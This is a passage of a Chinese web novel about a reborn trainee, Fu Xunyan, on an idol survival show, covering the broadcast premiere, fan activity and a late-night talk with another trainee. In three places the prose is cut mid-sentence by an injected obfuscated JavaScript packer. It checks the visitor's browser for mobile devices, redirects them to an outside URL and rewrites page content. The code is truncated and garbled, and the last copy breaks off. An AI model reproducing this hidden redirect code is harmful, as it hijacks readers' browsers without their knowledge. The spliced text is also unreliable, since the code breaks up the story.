“我记得你们的初舞台。” 彭思源和蒋安对视一眼,有点不安地低头,他们在初舞台栽了跟头,无法驯服的四肢和不够成熟的唱功完全拖了团队后腿。 “知道我看完之后是什么想法吗?” 两人摇头。 “彭思源和蒋安好高好瘦,很有气质,然后才是你们的唱跳问题。” “一首歌除了合唱,你们要承担的部分各自都是四句,我希望你们能在接下来的几天里,把这四句练到最佳。” “在不让唱功的问题被发现的同时,你们要最大程度地发挥美色。” 因为“美色”两字,所有人都笑了,练习室的氛围变得格外轻快。所有人都受到了肯定,心理的放松不自觉便表现在了脸上。 事实上,不论原先在生活中有多帅多优秀,进入节目组后他们一直在遭受着碾压。这种碾压是全方位的,比他们帅还有人气的人一大把,在普通人里还不错的实力一下子成了垫底。 他们在逐渐失去光芒。 选秀就是这样残酷的东西,当人们在发掘宝藏的时候,也在摧残着许多人对自我的信任。他们并不都是砂砾,他们也有珍珠的光华,只是没有通过选秀表现出来。 内核强大的还好,离开节目一样有所发展。但人无完人,有些特别优秀的人内核并不稳固,在长达六个月的无形“摧残”中,他们原本漂亮的那部分也被一点点削除。 观众当然不必为此负责,但傅寻砚作为过来人,还是为其中一些努力但没有运气的人感到遗憾。 16.第16日 就在两边都定好位置的同一时间,节目正式播出了。 柳雨今天这班上得折磨,脚趾都在规律地扣地数秒。好不容易捱到下班,她和身边同事使了个眼色,两人立马合上电脑逃跑。 今天怎么说都不加班!她们白天可是超高速完成了所有工作,并且提前放出假消息自己下班后要去隔壁市看车子。 领导消息,no!同事请求,no! 两人相携跑了出来,匆忙在便利店买了零食,然后一起躲进了柳雨的出租屋,打开超大的电视开始投屏。 “一想到我要在屏幕上看到4k的我儿子,甚至数清毛孔,我就激动到不行。”同事跪坐着拆零食袋,因为太过着急还打翻了可乐,幸好盖子没开。 “喂喂喂,对着盛世美颜不准说毛孔什么的,小仙男是没有毛孔的!”柳雨说着偷偷登录了自己的大号。 没错,作为粉丝团的团长,现在柳雨手底下有50w+的“小兵”——这些都是因为那起霸凌舆论而新加入的粉丝,她们老粉丝还有另一个群,主要由陈姐也就是“爱吃偶的莲蓬”在管理。 当然啦,50w只是泛粉丝数,柳雨的主要工作就是做好引导。而真正在这个“团”里的,目前有1w+,都是资深秀芬,在打投的基础上有能力产出周边那种。 不过自己的同事小美最近对寻宝痴迷得有些过分,柳雨不敢让她知道自己的职务,只在她找上自己希望一起蹲首播的时候答应了。 开头自然是那个秀芬们盘得包浆的宣传片,上头来来回回出现一些人的人影,但基本看不清,要不就是背影要不就是胳膊或腿的近景。 可即便如此,傅寻砚在里边也都没有一秒钟,足以可见前期贫得可怜。 柳雨攥紧手机,等待着陈敛清把应援词和拍摄的高清图发送自己,她的输入框跳动着,心也一样。她的眼睛太忙了,一会要管电视,一会又要管屏幕,还要小心同事凑过来发现。 “姜苏林还是好帅,这可惜我上学时候不吃这一款,现在发现老男人好了。”小美塞了片薯片嘀咕。 然后两人一起度过了还算有意思的一个半小时。或许是因为选秀停办了四年,这些练习生终于有时间去好好积淀,所以舞台看上去有好几个不错。 “哇哇哇那是叶莱!”小美激动拍打桌子,“我妹超级喜欢他们团,还有海报呢,叶莱就是她1pick,不过他们团也是可惜了,就因为队长要单飞全解散了。” “这样一看叶莱这么帅,能力又强,他当时怎么人气没超过那个队长呢……啊那个那个周、周恒宇脸长得还行,rap……啊为什么好多人说他rap好,我真不喜欢这个声线,真的好尖好吵。” 柳雨抽空点头,小美关于叶莱和周恒宇的点评她都赞同。 可惜,节目上半场似乎没有傅寻砚,两人气得深深吸气。好在这狗节目终于在进入无法跳过的广告前放了一段下半场预告。 “啊啊啊啊啊!” 尖叫震动窗户,两个女孩立刻互相帮忙捂住嘴,激动的眼睛彻底亮了。 “是傅寻砚!” 预告中的青年站在那里,额角的汗顺着他的下颌落入锁骨,又引起一波屏幕前的尖叫。 [天杀的节目组我就说谁抢了我儿子,我儿子这不就在这站着吗?] [……美到我失语宝贝] [谁懂我已经拉回去十遍了,一分钟愣是让我看了十二分钟] [prprpr只有今天,我才会承认我是个色女] [哈哈哈没人看见还有江瀚吗?他脸圆圆的也好——憨] [江瀚:为我花生!为我花生!] [傅寻砚说话好有文化,要换我,我就只会老师我不会嘿嘿嘿] [喂,也不只是有文化没文化的问题吧,寻宝说话很真诚,我觉得他说的可能是真心话] [“如果第一次……没有尽全力,它便很可能如现在这首歌一样充满遗憾”,好的,以后语文考试问到我座右铭我就答这个] 同一时间《新世纪》的监制也在紧张盯着屏幕数据。《前进吧》一直在和他们纠缠,上周因为傅寻砚的那出事情,上头领导好不容易下定决心突然将首期播出的时间提前了,打算来一个先发制人。 但是,由于这两年的小台选秀都糊穿地心,他们对数据也很没把握。 “啊啊啊周姐!周姐!”一个转身,监制就看到自己助理带的小实习生从远处激动地跑过来。 这姑娘叫林欣怡,家里挺有钱一富二代,性格活泼外向讨人喜欢,所以这时候她的风风火火慌慌张张也没有让人觉得厌烦。 她罕见的热泪盈眶,手里的纸张甩的呼呼作响。 “出来了周姐!刚刚上集播放完成,网络收视率破表了!是梨子台今年最高了,综合热度有三万四!甩开去年热综《讨人厌的朋友》六千啊!!!” “真的吗真的吗~” “啊啊啊啊制作人要请吃饭!” “我的妈呀没想到年度热门综艺竟然在我眼前诞生了。” “我屮艸芔茻,最后一分钟把傅寻砚作为结尾的简直是天才!在线人数一下子激增四百万!” 整个后台都欢呼一片,发出的声音甚至吵到了隔壁练习生楼。 由于这次真的被收了手机没法与外界通讯,好多练习生只能凑在一块嘀咕到底发生了什么,无数的猜测在流传。 《新世纪》的制作组全体现在都有一种飘飘然的不真实感,事实上在开播前他们就有一点点预感,因为傅寻砚的热度在社会版面一直居高不下。 因为他的这起事件,当地开始了有关霸凌活动的□□行动,打出来一堆蛀虫,后续时间爆料不断。 包括当初那个对傅寻砚直接退学处理的林校长,也被拉下马来,因为被查出有严重的受贿行为。 但是,偶像选秀在四年间变成了更小众的综艺题材,加上傅寻砚在节目期间无法接受其他商务,包括综艺、杂志、电影等邀约,所以制作组一直悲观地认为这种热度无法转化到节目上来。 但这群工作人员显然不具备制作人和那位女pd的眼光。 节目播出前两天,制作人拜托投资人再加一笔出资,用于购买mcn公司的宣传服务。虽然不能说是造假,但确实也算是一种营销。 利用傅寻砚的话题度,发出一些如云如雾的假料——比如“最惨练习生初舞台被痛批”“导师因不满其态度当众质问”“练习生集体霸凌?当众让傅下不来台”等等,果不其然吸引了大量观众来节目求证。 热度3w4是什么概念,相当于传统电视媒体综艺19.2%的收视率了,绝对属于重量级节目。 《新世纪》的工作人员恨不得立刻开庆功宴,多日来被《前进吧》压着的憋屈终于得到了释放。 “《前进吧》肯定达不到我们的水准了。” “那可不么?他们之前预估的最佳热度也就2w6,加上最近的话题度都被我们小傅拿走了,他们剩啥?” 但也有人表示担心,“就怕他们又拿着我们的成功炒作什么偶像选秀文艺复兴,到时候我们反倒给他们做陪衬了。” 同事安慰他,“没事,强者从不怕蹭热度,我们马上就一公了,到时候用舞台质量碾压他们!” 先不说《前进吧》还没播出,就《新世纪》播出的初舞台来说,确实能捞起许多沧海遗珠。 柳雨虽然是傅寻砚的后援会扛把子,但也不会对其他练习生的好视而不见,发发弹幕夸夸对她也没什么损失。 尤其是达裴、沈迟和白闻及这些已经被划分到自己阵营的,柳雨第一时间收到对方大粉的代发夸夸,立即po上了她的私人账号,以表明与其他三家的友好态度。 播出前拍到的204的照片也让四人小范围火了一把,尤其是和达裴的“燕达闻声”cp,算是这届趋势不错的cp,不过这些练习生好像都不太麦麸,所以靠cp涨热度不是很现实。 柳雨也不打算帮自担营销这个——和某些人捆绑cp是一种比较短视的做法,她对傅寻砚有更大的期待,不希望他的出圈是靠cp营业。 下集终于开始,小美零食也不吃了,迅速跑去卫生间洗手并虔诚地捧好手机。 “我一定要第一时间发送弹幕!” 小美没能成功,还有好多人也和她一样没成功。 因为,下集的第一幕简直是——蛊惑人心。 男青年是一种介于男孩与男人之间的形体,他们青春、美好,散发着活力。不像男孩们那样幼稚而干巴,也不像男人那样过度魁梧,世间一切美好的形容词都可以堆砌在他们身上。 屏幕上的傅寻砚便是如此。 先是一个超近距离的近景,24寸电视只有那张摄人心魄的脸蛋,上抬的眼眸如璀璨的星辰。舞台的灯光渐亮,宛如宏大史诗的开场,整个空间从沉浸在静谧之中骤然变得喧嚣,让人难以想象这只是一曲爱情歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158048|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲。 鼻尖的小痣伴随着他干脆利落的动作,勾勒出清冷而惑人的气质,一会如四好男友拥着人坐在温暖窗台,一会犹如妖精拽着人堕入深渊。 “呜呜呜”小美和柳雨激动不能自已,拉着手互相呜咽。 太帅了太帅了!人怎么能有型成这个样子! “我决定了。”从小到大都是校花的小美励志,“以后这就是我白月光,男朋友都按这个样子的找。” “那你会不会找不到。”柳雨客观劝解。 “没事,有纯元两分相似,我就破格录取他们。”小美仍然一脸坚定。 柳雨将整个舞台欣赏完,才骤然发现了自己的失职。 帅哥误我! 匆忙登入后台,粉丝群已经炸开了,全是色批的尖叫狂欢以及口出狂言。柳雨顾不上安抚情绪,急忙将编辑好的安利贴发出去,并置顶公告,提醒姐妹们接下来一公的抢票事宜。 “那将是寻宝第一次见到我们,我们必须努力!” 陈敛清也在发力,她白天干摄影师工作,晚上就去《新世纪》蹲守,她摸清了傅寻砚的习惯,庆幸他不是个极致宅男,一周还是有三天会和好友去便利店逛逛以作休息。 所以她看着时间来,总能抓拍到他。 陈敛挑选着照片,傅寻砚似乎还不太习惯被站姐拍,第一次完全没有回头,不过第二第三次开始有了进步,会小小地录个侧脸。 然后伸手给她指指附近的选管,表示要她小心别被逮到收缴设备。《新世纪》原则上不允许站姐在赛前流露照片,以免透露造型,但奈何节目又需要热度,所以只能半管半不管,把太明目张胆拍了的给截下来。 陈敛清发现,好像每一张照片她都不舍得删,就算是背影,傅寻砚的也比其他人有氛围感多了。 这好像真的是一种天赋。 陈敛清放弃,连同刚刚截屏的画面干脆做了个九宫格,全都po出去。 [新世纪小甜甜:啊啊啊啊啊姐姐饭饭饿饿] [宝我是你喜欢的麻袋:!!姐!你~是~我~滴~神,这拍的真的绝了,好高级,完全可以拿去直接当杂志封面] [寻宝C位出道吧!:看一眼我宝的脸,我可以原谅我烦人的老板和垃圾的世界] [地球穿越线:靠,傅寻砚的实力也好好,那些说他不行的太打脸了] [世界最南端:是啊,从最开始的风波到现在,我宝致力于打脸,啪啪啪的真的很爽] [我在乞力马扎罗祈雨:真的好强啊,虽然导师说他还不够,但我感觉都是剧本托词,这唱歌这舞蹈哪里弱了,还有还有,他这首自作曲真的很牛啊你们不觉得吗?] [澳大利亚袋鼠:不用我们觉得了,看看Q音,歌已经进排行榜了我勒个豆] [新世纪小甜甜:热搜也已经在文娱登顶了,这会社会新闻和文娱都让寻宝占了,好大的排面] [秀芬是我呀:没事,按这个情况下去,总榜第一也指日可待啊] 今夜,一大批人正在城市灯光点亮的夜幕下狂欢,也有一大群人为了他们眼中的商品或欣喜若狂或焦头烂额。 前者是你我普通人,后者,是那些隐藏在一个个练习生背后的操盘手。 “李哥,幸好我们解约的快啊。”李鹏程的下属小王复杂地进行了汇报,不过很快语气就高昂起来,“也是新上来的小张总没眼光,非得投资《前进吧》,把我们寻宝丢在《新世纪》这个鸟不拉屎的节目,没想到吧,翻转了!” 李鹏程边给老婆孩子盛饭边打电话,嘴角也有了些笑意:“是啊,不过小王你……” “啊呀李哥我知道你要说什么,我离职也是自己的决定,其实我还是觉得咱们团队比较务实。您也知道,小张总上台后花活太多了……对了李哥,新公司咱们什么时候对接?” 李鹏程一点也不着急:“咱们先自己运营一段时间。小王,宣发你一定要抓紧,咱们从公司带出来的团队包括你我一共五个人,虽然目前勉强够用,但要警惕小张总会不会气我们的操作下绊子,所以一定要上心。” “我会的!” “然后等——一公后吧,我会放出一点他目前没有所属公司的消息,到时候我们就能找新公司了。” 李鹏程放下手机,后台也正在播放着节目,他看着傅寻砚那张熟悉而陌生的脸,复杂地叹了口气。 这是场豪赌,希望他们都能得到自己想要的结果。 17.第十七日 一周的时间够不够练完一首歌,答案是不一定的。 “我想死。”当躺在上面的家伙发出这一声喟叹的时候,宿舍里其他三个都有点不敢相信,因为那个人是白闻及。 一个看起来孤高清冷,没什么人味的家伙。 沈迟笑了,他拍打着床沿:“白哥你别开玩笑了,还是赶紧去洗个澡休息休息吧,已经三点了,连熬三天真的会猝死。” 床上的人翻转了一下身体,白皙的手垂落下来,被子后头露出一双生无可恋的眼睛。 “没关系,那个人没死,我想死也死不成。” 他指向傅寻砚。 傅寻砚还在纠结最后一段的改编,这两天他一共睡了六个小时——因为怕来不及。由于《风啊,又是一夜雨》的舞蹈部分堪称小白,作为重头戏的vocal必须尽快排出来然后投入练习。 为了保证进度,他花费两天将整首歌曲进行了重新编制,今晚就是他的ddl,如果今晚还不能结束,明天开始留给他们组的练习时间将被压缩到极致。 而白闻及的痛苦与他们组的焦虑等待恰恰相反,他在一公被选入沈迟同组,表演的是《愉悦小丑》,这是一首很炸的舞曲,为了保证呈现效果,他们组的组长要求大家在前两天把舞蹈扒完,第三天开始就要进入动线和配合的排练,然后才主攻vocal部分。 沈迟虽然没怎么学过舞蹈有些苦手,但刚好他的协调性和记忆力都不错,勉勉强强也能跟上。可恰恰是初舞台时展现了一段极其优雅的昆曲基本功的白闻及,再度被行业隔阂所难倒了。 昆曲讲究的是雅致、轻盈、柔美和妙趣,尤其是白闻及这种反串角色,典雅的形态更是已经刻烟吸肺。 曲线、倾斜、上升、下沉、缓慢的推拉与抒情的延展,这一套理论体系都有流行舞格格不入。 傅寻砚在忙碌中抬起头,那张面容因为眼镜的遮掩而多了些内秀,不再那么锋利。白闻及看着他把眼镜往上抵了抵,眼神仍有些涣散地张口。 “你得改正发力位置,尤其是男团舞,Poppin和Hipop的技巧更重要,以一个点去带动全身动起来,而不要像以前那样子,把胸膛的位置端着。” 白闻及若有所思——实际上这些理论不是没人讲给他听,这两天练习室的舞蹈老师都跟在他身后快成私教了。 但不知道为什么,他舍友讲的就很入耳。 傅寻砚瞥了一眼他定神的表情就知道这家伙的问题了。他或许,是不希望流行舞改变他的基本功,换言之,他并未做好为成为偶像而孤注一掷的准备。 那么他为什么要来选秀? 傅寻砚不明白,但他不会无缘无故开口问,个人的目标和打算是白闻及的私事,如果他连说都不愿意对他们说,那么即便指出来也会遭遇抗拒。 傅寻砚将最后一点改好,又披上了衣服。 “你去哪?”刚刚才躺下的达裴一个猛子起了身,指着桌面上的电子钟瞪大了眼睛,“这个点了,你又不睡啊。” “嗯,我直接去工作室,到时候改完在那睡就行。” 节目组为有编曲能力的人提供了三间工作室,器材虽然不算高档但已够用,这次一公需要对曲子进行改编的有四组,分别是《风啊,又是一夜雨》的两支队伍,和《白夜星空》的两支队伍,尹星蘅恰在后者中。 但上辈子不是这样的。 那次尹星蘅没有提出要改编,傅寻砚不明白这次他为什么做出了改编的决定,但也许这就是蝴蝶效应的一环。 走入长廊,外边的夜色深沉,走廊里的仪器还在工作,红色的灯光很有规律地闪。 他不是不困,从茶水间倒了杯咖啡,准备在走廊上喝完再去工作。 耳畔却传来很低的窸窸窣窣声。 傅寻砚抬头朝楼梯间望去,先是看见了一阵烟雾,然后是熟悉的银色寸头。 他所知道的,在这个阶段剪了寸头的就只有旻海。 “啊,被你看见了,不好意思。”男人倒没有慌乱,只是下意识去灭烟,随后发现附近并没有地方让他熄火,便苦笑了一声,仍有烟在两指间孤独燃烧。 傅寻砚抬了抬咖啡示意没事,依旧朝着很远地方还亮着的渔场看去。 三分钟后。 “宿管不是搜过行李?你怎么把它带进来的?” 黑发的青年将咖啡杯随意放在地上,走了过来。 他站定在楼梯间门口,月光将他的孤影投射进苍白的地面上,然后拉长失去形状。旻海看着那个背光的黑影,心脏的酸涩还在扩大。 不是因为傅寻砚,而是因为这个黑夜,因为白日操蛋的乱七八糟的事情。 许久,夹杂在几乎叹息的嗓音中,他听见自己在说话,“跟别人借的,我没本事,但其他人有。” 银色寸头的男人耸了耸肩,轻飘飘,却给人一种沉甸甸的感觉,像是有石头压迫在心上无法移开。他的眉毛上打了骨钉,熠熠闪光,那张格外内敛而又锋利的脸刺痛黑夜,所有的掩饰被鲜血淋漓撞破。 他的肤色很深,这与他的发形成了更鲜明的对比,让他具有一种神秘而野性的氛围。 傅寻砚曾不擅长安慰人,他的青年时期温暖缺席,人生设置了太多难捱的关卡,沉重到几乎迫使他将背脊弯入土地的担子磨破了肩胛骨,将汗水里的盐渍送回身体,以剧烈疼痛的方式。 偶有关心,偶有温暖,他都无法睁开眼去记住那些好人的脸。 他太累了。 江瀚离开后他想过死亡,那时他面临的是比恶剪更严重的污蔑,但某一天他睁开眼时突然醒悟——为什么呢,凭什么我就不能好好活呢? 那些人的讥讽和呵斥,真的比过去更让他难以承受吗?没有,所以这次他依旧能够前进,他不会停在这里。 他的人生才过了五分之一,现在认输还太早。 于是他进入了社会的潮流,在那里,他学会了察言观色,学会了为他人提供情绪价值。现在,他已经无法将这部分“讨好”从身上剥离——哪怕他喊着我要做自己的口号,他也不得不承认,站在这里的,不是那个真实完整的二十岁的傅寻砚,而是已经支离破碎又补好过的傅寻砚。 他做下决定。 他走过去,以一种希望那人不要让自己失望的心情走过去。 白皙的手伸过来,旻海能够清晰看见他手背上的小痣,那只堪称艺术品的手轻轻从他手里接过烟,然后走到窗台,摁灭了它,让风吹散掉烟丝,而剩下的烟屁股就被他随意塞入裤子口袋。 “吸烟解决不了任何事,不如聊聊。” “虽然不一定给什么有效的建议,但有什么烦心事,说出来绝对会比一个人消化好很多。反复琢磨那些令你痛苦的事情,除了收回更深切的痛苦和恼恨,屁用没有。” 旻海笑了,嘴角扯了一下。 “你怎么知道我不会慢慢消化掉?” 他看着那个男孩以一种看傻瓜的眼神看了他一眼,“你要是能消化,也不会这个点出现在这。” 旻海认输。他倚靠着墙坐下,坐在楼梯台阶上,一条腿往下抵住第十层,另一条腿蜷曲。 他不想看傅寻砚,至少在他鼓起勇气去谈自己的烦恼时,他不想看他。 “我……我不知道自己在干什么,虽然那么努力了,但……排名也就只有二十多位。我知道或许对下位圈来说我好像有点不知足,但人的目标是不一样的,我曾经的目标就是第一。” “但这两天的训练也让我明白了,这是不可能的,我在和一群优等生竞争,但曾经领头羊的优越感还在,我看着他们被表扬被赞赏,我发现我无法如表面一样真诚地为他们感到开心,我很嫉妒。” “非常嫉妒。但我不能板着脸,我必须逼着自己愉快的笑起来——是,我早就知道要这么做,但……真的做起来比我想象中困难。 我还讨厌vocal老师说我哪里唱的不对不对,我只是在坚持自己的唱法不是吗?——不是的,在那个想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161169|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法产生后的一秒,我很害怕,我正在否认自己的不足,我在为自己的错误找借口。” 旻海深吸一口气,尽力让自己乱七八糟的叙述变得更有条理一些:“你知道吗傅寻砚,我24岁了,在这个综艺里很‘老’,看着沈迟他们我总觉得自己天然没有优势。” “啊对了,我没有对任何人说过,其实我出道过一次。那个时候年纪小,青春叛逆期硬要自己出去闯,和一家根本没有什么能力的公司签了个合约,然后被打包出道。那两年我干过很多兼职,就是为了狗屁的‘梦想’。 为了出名,我愿意为团队‘牺牲’,他们要做乐队,好,我可以去学吉他。其他三个人跳舞很差,我就不能跳。可是事情有的时候就是很奇怪,那个虽然会唱歌但天天泡吧喝酒的家伙因为出了一首裁缝曲火了,他开始安排我们的角色,他让其他两个人给他伴唱。 他说我跳舞好,就让我给他伴舞。” 旻海苦笑了一声,“我耽搁了3年。” “我知道,其实比起你在进入节目后遇到的事情,我的这些也不过是自己选错道路而不得不承担的成本,可是……” 那个男声打断了他,他面朝着窗台外,月光照亮他的眼眸,他没看他,却好像在看他。 “比惨没有意义,我并不觉得你的经历有多么应当被平淡看待。” “你知道我第一次看见你的时候在想什么吗?” 没等旻海问,他接着说,“我认为你一定会崩溃——当然,不是物理意义上的,而是指在这个地方,在我们脚踩的这个追逐优胜、追逐光彩的地方,你的精神一定会崩溃。” “你追逐过梦想,就证明你已经比至少一大半的人要更理想。而从你愿意照顾周奇的举动就说明,哪怕那3年或者更长时间的过去给你带来了很沉痛的打击,你却一点也没吃教训。” 啊?旻海甚至暂时从沉痛的情绪里游离出来——他是在批评我吗? 不。 “可我反而敬佩你这样的人。”青年将身体的重量交给窗台,夜风撩起他额前的碎发,幽深如墨水一样的浓黑融入黑夜,就像一条静深的河流。 “真的,我很敬佩。这个世界有那么多现实主义者,有那么多受伤后便躲起来的人,却依旧有你这样,在遍体鳞伤后仍旧愿意前进的人,从旁观者的角度而言,我觉得很幸运,因为身边会有你这样完完全全值得交托信任的人。” “这不是缺点,你甚至会因为‘嫉妒’这种情绪而觉得低落——旻海,你有时候真的像是一个圣人。” “我不会劝你变得自私,或者仍然保有这种善良和坚持而吃苦,我只是希望你知道,那些不是你的缺点。你所受到的挫折,不是应当的,只是属于你的那个时候还没有来到——当然,这个节点可能一辈子都不会来。” “所以你要改变吗?这是你的选择。选择本身没有错,你选择继续下去,如果不能放弃质疑自己而再次相信努力,那么你将仍然长期处于精神痛苦中。你选择改变,那么也许你会变得更耀眼,更强大。可这件事谁也说不准。” 傅寻砚转身,他看着那个有些怔然的青年:“而我,现在决定相信你所做的每一个选择。” 旻海的指尖在轻轻颤抖。 旻海七年后在哪里?在做什么? 团队合约到期解散后,他选择回到自己的艺术事业,他开了画展、写了小说、也有属于自己的舞蹈室。 可他的文字透露着孤独。 他过早被家庭催熟的人格,在上一段团体中不公平的待遇、赛后不尽如人意的发展、娱乐媒体的监视,一切的一切让他彷徨。他本就不是一个对自己和他人有信心的人,他只能把这份无价的信任投入到作品里去。 而艺术这个东西,使人疯魔。 傅寻砚最后一次听到他的消息时,他已经因重度抑郁关闭了社交账号。 他曾经的故事,远比他如今讲述给傅寻砚的更沉重。而他未来的路,也本远比他现在想象的,更孤独。 18.第十八日 “你们听说了吗?” 早上在工作室醒过来,傅寻砚先是拍了拍躺在另一边沙发上的旻海,对方眼睛略有些肿,虽然昨晚和他说完话时他情绪看上去稳定,但,大概是后来又偷偷哭了。 这么晚了回去也打扰舍友,所以昨晚傅寻砚收留了旻海,让他在同一间工作室里先睡,而自己则还要把编曲弄完。 然后就工作到了六点,晨光微亮时,他才终于放心盖上被子躺了下去。 这一觉躺到了七点半,外头其他练习生的交流声让他悠悠转醒。 “副导演把那几个人都叫过去了,所以我猜应该是根据再评级等级筛选的。” “啊?但再评级A班也有9个人呢?都去啊。” “不不不,我仔细看了,应该是再评级A等级兼人气排名前十——所以只有六个人。” 正当旻海掀开被子下来的时候,音响中选管的呼唤震耳欲聋。 “傅寻砚、旻海,请到排练一室。” “傅寻砚、旻海,请到排练一室。” 两人对视一眼,立刻跑回了各自宿舍洗漱。一进门,沈迟就着急地给他递牙刷和杯子。 “哥你快点,选管找你好一会儿了,说让你回来之后赶紧去报道,有突发行程。” “行程?”傅寻砚含着牙刷声音模糊,“我们能有什么行程?” 但很显然沈迟也一头雾水,只说刚刚达裴也出去了,似乎是去找他。 傅寻砚想起来那几个练习生的话,A班人一起出动——大概是有什么商演或舞台? 上一次这个时候节目组也接到了合作,市里一家新开业的商场希望他们过去表演初舞台引流,只不过预算不能满足《前进吧》的要求才退而其次选择了《新世纪》。 这事情后来也被《前进吧》嘲笑了很久。 那时候傅寻砚没去成,不过当时去表演的筛选条件也不是A等级,而是截止初舞台放送前总票数前七人。 等傅寻砚来到排练一室门口,发现旻海比他快一步也到了。 他挑了个眉,孩子气突起,快旻海一步溜了进去。 很好,我可不是倒数第一。 旻海顶着选管责怪的眼光站在了队伍末尾,与傅寻砚对视一眼,看着对方眼角眉梢微微露出的得意无奈笑了。 这家伙昨天和他说大道理的时候看起来跟老师父似的,实际上还是小孩一样幼稚。 或许傅寻砚自己也没发现,明明昨晚说自己像个圣父,他又何尝不是?只不过,旻海承认他有时对别人总会烂好心。 而傅寻砚的“圣”在于他对自己的严格和自律。虽然从初舞台开始,傅寻砚就给人一种慵懒疏离的气质,但不论是面对诽谤事件的及时反应,还是改编歌曲的认真,他的内心与外表完全反差,紧紧绷成一根线,对发生在周围的一切都表现出强烈的控制欲。 如今看到他偶然活泼的一面,旻海是真的,发自内心地为他感到轻松和愉悦。 也好,如果傅寻砚在那样的困境后还能如此幼稚,那么旻海觉得,也许自己有朝一日也能找回无负担的快乐。 选管招呼着几个大男孩出了楼,推着几人的背吩咐他们赶紧上大巴。 傅寻砚的位置刚好在倒数第二。 头发已经被拉直后的男孩,早上起来还没能做造型,可他又实在不喜欢过长的刘海遮住视线,所以用“毁脸神器”——铁质发箍把碎发全部固定在脑袋上。 “啊啊啊啊!!是寻宝!啊啊啊我死了,我被帅死了!” “呜呜呜呜真的,我……&&”(使劲拍打身边姐妹手臂的声音) “寻宝!答应妈妈一定要开心!我们会一直支持你的!” 声势浩大,有十来个女声混杂着一两道男声齐齐喊起了傅寻砚的名字。这是节目开播以来,所有练习生第一次感受到“人气”这种东西。 虽然都是属于傅寻砚的。 周恒宇拉上窗帘,满脸不耐烦,翻了个白眼。而身边的叶莱则看着外边若有所思,有空来蹲他们的人其实并不多,门口时常徘徊的站姐也就二十来个,傅寻砚今天排场确实不错,占了一大半。 此刻,站姐无限放大的镜头里,那张原本低头走路的脸骤然抬起,那一点点的疑惑在他脸上如此生动,仿佛漫画立绘活过来一样,是他那糟糕的发型和朴素的练习服也无法遮掩的魅力。 而后,就在站姐还聚精会神准备按下快门时,春花初绽。 她大概在很久很久也无法形容当时的画面,无法叙说肉眼所见到的美丽,一切都好像慢镜头一样呈现,在郁郁葱葱的树林和白色洋房的前面,那个男孩如贵族收藏百年的艺术品,突然被扫去微尘,熠熠生姿。 领口因为上楼梯的动作而微微敞开,露出精致的锁骨,袖口挽起,小臂线条流畅,下身搭配一条休闲的黑色长裤,露出小半截突出的脚踝,又为他这份慵懒添了一丝不羁。 偏转过来的面孔上,深邃的眼眸被长睫遮住了大半,仿佛藏着无尽的倦怠。那高挺的鼻梁下,薄唇微微上扬,似笑非笑,透着一种漫不经心的性感。 因为身后某个姐妹“老公你还不来亲亲我的”超强发言,他原本慵懒的姿态瞬间一滞,随即,眼中突然有了光。 那双眼眸像是沉寂的夜空中突然点亮的星辰,熠熠生辉,光芒里似乎充满了惊喜与温柔。 陈敛清(爱吃偶的阿蓬)捂住心脏,恍惚间仿佛觉得,那突然抬起的微垂眼眸,目光似乎紧紧锁住的是自己。 那双眼眸里保藏着什么样的情感呢?所有看到照片的人都会失语。 那是何等浓烈的、真切的惊喜与感恩。 就是听到她们呐喊的一刹那,帅气的脸庞上多了几分生动,仿佛被注入了灵魂一般,从骨子里散发出令人难以抗拒的魅力,让人不禁为之侧目。 鼻尖小痣更是神来一笔。 即便有人没有相机,也为这一幕惊呆了,好几个同伴捂住嘴,只能发出激动的呜咽,有几个被迫陪女朋友来的,更是“雾草”个此起彼伏。 他没有太多时间与他们沟通,又受限于节目组规定,只能朝这边摆了摆手,露出的笑容还来不及收回,就被大润发杀了十年鱼的冷酷选管推上车。 陈敛清敢肯定对方一定是没看到那个笑容才会那么无情。 “我真的说不出任何话——啊啊啊陈姐你刚刚拍到了!雾草你拍到live了!请立刻发我!” 女孩还恍若梦游,却在看见照相机开了摄影模式的一刹那发出爆鸣。 然后陈敛清身边就炸开了,管她是谁的粉丝,个个都激动地来要动态,直到陈敛清答应会回家后立刻剪好发在wb上,这群饿女才心满意足。 傅寻砚得承认,或许他是一个如此容易被感动的人——因为就在刚刚那一刻,他觉得即便立刻死掉,他回来的意义也已经达成了。 原来我,一直期待的,不过是一句真诚的肯定,一些真挚的偏爱,和一点无保留的信任…… 心脏无法安静,它剧烈的跳动着,扰得人难以思考,可傅寻砚浑然不觉厌烦,嘴角眉梢都挂上清浅笑意。 他好像,有点找到拯救江瀚和表现真正自我以外的,一个具体的让他感到愉快的目标了。 他想得到信任和喜爱,也想以最强的自律,去永远的维护这种信任和喜爱。 他的失神被车上几人看在眼里。 达裴并不嫉妒他的高人气,而是由衷为傅寻砚感到高兴。他从来没想过傅寻砚会是这么单纯的人,但刚刚就这么一个笑容,那家伙的本质就暴露无遗。 是个善良的傻瓜啊傻瓜。 达裴无奈,招手让他过来。 但是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 